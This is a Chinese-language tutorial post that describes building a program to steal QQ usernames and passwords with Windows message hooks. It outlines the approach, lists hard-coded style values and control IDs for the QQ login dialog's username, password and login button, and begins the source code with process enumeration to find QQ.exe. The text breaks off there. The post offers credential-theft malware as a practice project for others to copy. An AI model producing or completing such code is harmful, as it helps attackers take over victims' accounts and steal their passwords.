一、思路分析
(一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;
二、 实现过程
(一) 定义宏
(二) 枚举进程找到QQ.exe
(三) 枚举所有窗口,找属于QQ.exe的窗口
(四) 获取用户名、密码、登陆按钮的句柄
(五) 创建钩子用的DLL
(六) 安装钩子
一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:
本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。
一、 思路分析
一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。
(一) 数据包的角度
从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。
(二) 钩子角度
平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。
1. 钩子简介
钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:
2. 程序流程
Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:
从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:
二、 实现过程
有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的关键代码:
(一) 定义宏
//QQ登陆框正常情况下的风格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陆框最小化时的风格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用户名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密码控件文本框的ID
#define QQLoginPasswordId 0x000000B4
//登陆按扭的ID
#define QQLoginButtonId 0x00003EA0
(二) 枚举进程找到QQ.exe
//定义PROCESSENTRY32结构
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("进程快照失败!/n");
return -1;
}